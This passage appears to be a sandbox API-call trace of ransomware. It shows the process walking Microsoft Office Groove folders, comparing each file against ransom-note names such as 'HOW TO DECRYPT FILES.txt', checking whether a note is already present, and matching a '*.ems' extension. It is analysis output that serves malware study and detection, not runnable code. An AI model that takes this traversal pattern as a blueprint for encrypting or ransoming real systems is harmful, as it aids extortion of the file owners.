lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\", lpString2="SessionMember.ico" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\SessionMember.ico") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\SessionMember.ico" [0065.739] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\SessionMember.ico", pszSpec="*.ems") returned 0 [0065.740] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc1a3b800, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x6d299f70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc1a3b800, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x9f6, dwReserved0=0x0, dwReserved1=0x0, cFileName="SessionOwner.ico", cAlternateFileName="SESSIO~2.ICO")) returned 1 [0065.740] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0065.740] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="SessionOwner.ico") returned -1 [0065.740] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="SessionOwner.ico") returned -1 [0065.740] lstrcmpiA (lpString1="", lpString2="SessionOwner.ico") returned -1 [0065.740] PathFindFileNameA (pszPath="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\SessionMember.ico") returned="SessionMember.ico" [0065.740] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\" [0065.740] PathAddBackslashA (in: pszPath="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\" | out: pszPath="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\") returned="" [0065.740] lstrcatA (in: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\HOW TO DECRYPT FILES.txt" [0065.740] GetFileAttributesA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolicons\\how to decrypt files.txt")) returned 0x20 [0065.740] lstrcatA (in: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\", lpString2="SessionOwner.ico" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\SessionOwner.ico") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\SessionOwner.ico" [0065.740] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\SessionOwner.ico", pszSpec="*.ems") returned 0 [0065.740] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc1a3b800, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x6d3a4910, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc1a3b800, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xb2e, dwReserved0=0x0, dwReserved1=0x0, cFileName="SpaceSelector.ico", cAlternateFileName="SPACES~1.ICO")) returned 1 [0065.740] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0065.740] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="SpaceSelector.ico") returned -1 [0065.740] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="SpaceSelector.ico") returned -1 [0065.740] lstrcmpiA (lpString1="", lpString2="SpaceSelector.ico") returned -1 [0065.740] PathFindFileNameA (pszPath="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\SessionOwner.ico") returned="SessionOwner.ico" [0065.740] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\" [0065.741] PathAddBackslashA (in: pszPath="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\" | out: pszPath="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\") returned="" [0065.741] lstrcatA (in: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\HOW TO DECRYPT FILES.txt" [0065.741] GetFileAttributesA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolicons\\how to decrypt files.txt")) returned 0x20 [0065.741] lstrcatA (in: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\", lpString2="SpaceSelector.ico" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\SpaceSelector.ico") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\SpaceSelector.ico" [0065.741] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\SpaceSelector.ico", pszSpec="*.ems") returned 0 [0065.741] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc1a3b800, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x6d3caa70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc1a3b800, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xb2e, dwReserved0=0x0, dwReserved1=0x0, cFileName="StatusAway.ico", cAlternateFileName="STATUS~1.ICO")) returned 1 [0065.741] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0065.741] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="StatusAway.ico") returned -1 [0065.741] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="StatusAway.ico") returned -1 [0065.741] lstrcmpiA (lpString1="", lpString2="StatusAway.ico") returned -1 [0065.741] PathFindFileNameA (pszPath="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\SpaceSelector.ico") returned="SpaceSelector.ico" [0065.741] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\" [0065.741] PathAddBackslashA (in: pszPath="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\" | out: pszPath="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\") returned="" [0065.741] lstrcatA (in: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\HOW TO DECRYPT FILES.txt" [0065.741] GetFileAttributesA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolicons\\how to decrypt files.txt")) returned 0x20 [0065.741] lstrcatA (in: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\", lpString2="StatusAway.ico" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\StatusAway.ico") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\StatusAway.ico" [0065.741] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\StatusAway.ico", pszSpec="*.ems") returned 0 [0065.742] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc1a3b800, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x6d3caa70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc1a3b800, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xb2e, dwReserved0=0x0, dwReserved1=0x0, cFileName="StatusDoNotDisturb.ico", cAlternateFileName="STATUS~2.ICO")) returned 1 [0065.742] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0065.742] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="StatusDoNotDisturb.ico") returned -1 [0065.742] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="StatusDoNotDisturb.ico") returned -1 [0065.742] lstrcmpiA (lpString1="", lpString2="StatusDoNotDisturb.ico") returned -1 [0065.742] PathFindFileNameA (pszPath="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\StatusAway.ico") returned="StatusAway.ico" [0065.742] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\" [0065.742] PathAddBackslashA (in: pszPath="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\" | out: pszPath="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\") returned="" [0065.742] lstrcatA (in: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\HOW TO DECRYPT FILES.txt" [0065.742] GetFileAttributesA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolicons\\how to decrypt files.txt")) returned 0x20 [0065.742] lstrcatA (in: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\", lpString2="StatusDoNotDisturb.ico" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\StatusDoNotDisturb.ico") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\StatusDoNotDisturb.ico" [0065.742] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\StatusDoNotDisturb.ico", pszSpec="*.ems") returned 0 [0065.742] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc1a3b800, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x6d3caa70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc1a3b800, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xb2e, dwReserved0=0x0, dwReserved1=0x0, cFileName="StatusOnline.ico", cAlternateFileName="STATUS~3.ICO")) returned 1 [0065.742] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0065.742] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="StatusOnline.ico") returned -1 [0065.742] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="StatusOnline.ico") returned -1 [0065.742] lstrcmpiA (lpString1="", lpString2="StatusOnline.ico") returned -1 [0065.742] PathFindFileNameA (pszPath="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\StatusDoNotDisturb.ico") returned="StatusDoNotDisturb.ico" [0065.742] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\" [0065.742] PathAddBackslashA (in: pszPath="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\" | out: pszPath="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\") returned="" [0065.743] lstrcatA (in: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\HOW TO DECRYPT FILES.txt" [0065.743] GetFileAttributesA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolicons\\how to decrypt files.txt")) returned 0x20 [0065.743] lstrcatA (in: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\", lpString2="StatusOnline.ico" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\StatusOnline.ico") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\StatusOnline.ico" [0065.743] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\StatusOnline.ico", pszSpec="*.ems") returned 0 [0065.743] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc1a3b800, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5ae8f450, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc1a3b800, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x2796, dwReserved0=0x0, dwReserved1=0x0, cFileName="TOOLICON.ICO", cAlternateFileName="")) returned 1 [0065.743] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0065.743] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="TOOLICON.ICO") returned -1 [0065.743] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="TOOLICON.ICO") returned -1 [0065.743] lstrcmpiA (lpString1="", lpString2="TOOLICON.ICO") returned -1 [0065.743] PathFindFileNameA (pszPath="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\StatusOnline.ico") returned="StatusOnline.ico" [0065.743] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\" [0065.743] PathAddBackslashA (in: pszPath="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\" | out: pszPath="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\") returned="" [0065.743] lstrcatA (in: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\HOW TO DECRYPT FILES.txt" [0065.743] GetFileAttributesA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolicons\\how to decrypt files.txt")) returned 0x20 [0065.743] lstrcatA (in: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\", lpString2="TOOLICON.ICO" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\TOOLICON.ICO") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\TOOLICON.ICO" [0065.743] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\TOOLICON.ICO", pszSpec="*.ems") returned 0 [0065.743] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc2d4e500, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5e633690, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc2d4e500, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x2366, dwReserved0=0x0, dwReserved1=0x0, cFileName="WSS.ICO", cAlternateFileName="")) returned 1 [0065.744] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0065.744] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="WSS.ICO") returned -1 [0065.744] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="WSS.ICO") returned -1 [0065.744] lstrcmpiA (lpString1="", lpString2="WSS.ICO") returned -1 [0065.744] PathFindFileNameA (pszPath="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\TOOLICON.ICO") returned="TOOLICON.ICO" [0065.744] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\" [0065.744] PathAddBackslashA (in: pszPath="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\" | out: pszPath="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\") returned="" [0065.744] lstrcatA (in: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\HOW TO DECRYPT FILES.txt" [0065.744] GetFileAttributesA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolicons\\how to decrypt files.txt")) returned 0x20 [0065.744] lstrcatA (in: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\", lpString2="WSS.ICO" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\WSS.ICO") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\WSS.ICO" [0065.744] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\WSS.ICO", pszSpec="*.ems") returned 0 [0065.744] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x430b200, ftCreationTime.dwHighDateTime=0x1c9d442, ftLastAccessTime.dwLowDateTime=0x709f1ef0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x430b200, ftLastWriteTime.dwHighDateTime=0x1c9d442, nFileSizeHigh=0x0, nFileSizeLow=0xb2e, dwReserved0=0x0, dwReserved1=0x0, cFileName="WSS_DocLib.ico", cAlternateFileName="WSS_DO~1.ICO")) returned 1 [0065.744] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0065.744] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="WSS_DocLib.ico") returned -1 [0065.744] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="WSS_DocLib.ico") returned -1 [0065.744] lstrcmpiA (lpString1="", lpString2="WSS_DocLib.ico") returned -1 [0065.744] PathFindFileNameA (pszPath="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\WSS.ICO") returned="WSS.ICO" [0065.744] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\" [0065.744] PathAddBackslashA (in: pszPath="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\" | out: pszPath="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\") returned="" [0065.744] lstrcatA (in: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\HOW TO DECRYPT FILES.txt" [0065.745] GetFileAttributesA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolicons\\how to decrypt files.txt")) returned 0x20 [0065.745] lstrcatA (in: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\", lpString2="WSS_DocLib.ico" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\WSS_DocLib.ico") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\WSS_DocLib.ico" [0065.745] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\WSS_DocLib.ico", pszSpec="*.ems") returned 0 [0065.745] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x430b200, ftCreationTime.dwHighDateTime=0x1c9d442, ftLastAccessTime.dwLowDateTime=0x709f1ef0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x430b200, ftLastWriteTime.dwHighDateTime=0x1c9d442, nFileSizeHigh=0x0, nFileSizeLow=0xb2e, dwReserved0=0x0, dwReserved1=0x0, cFileName="WSS_DocLib.ico", cAlternateFileName="WSS_DO~1.ICO")) returned 0 [0065.745] FindClose (in: hFindFile=0x502518 | out: hFindFile=0x502518) returned 1 [0065.745] FindNextFileA (in: hFindFile=0x4f8198, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e7acd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d3caa70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d3caa70, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x3, cFileName="XML Files", cAlternateFileName="XMLFIL~1")) returned 1 [0065.745] lstrcmpA (lpString1=".", lpString2="XML Files") returned -1 [0065.745] lstrcmpA (lpString1="..", lpString2="XML Files") returned -1 [0065.745] PathFindFileNameA (pszPath="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\*.*") returned="*.*" [0065.745] lstrcatA (in: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\", lpString2="XML Files" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\XML Files") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\XML Files" [0065.745] FindFirstFileA (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\XML Files\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e7acd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d3caa70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d3caa70, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0065.748] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0065.748] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e7acd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d3caa70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d3caa70, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0065.748] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0065.748] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0065.748] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd279da00, ftCreationTime.dwHighDateTime=0x1c8a0cd, ftLastAccessTime.dwLowDateTime=0x600aeb50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd279da00, ftLastWriteTime.dwHighDateTime=0x1c8a0cd, nFileSizeHigh=0x0, nFileSizeLow=0x487, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="builtincontrolsschema.xsd", cAlternateFileName="BUILTI~1.XSD")) returned 1 [0065.748] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0065.748] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="builtincontrolsschema.xsd") returned 1 [0065.748] lstrcmpiA (lpString1="HOW TO 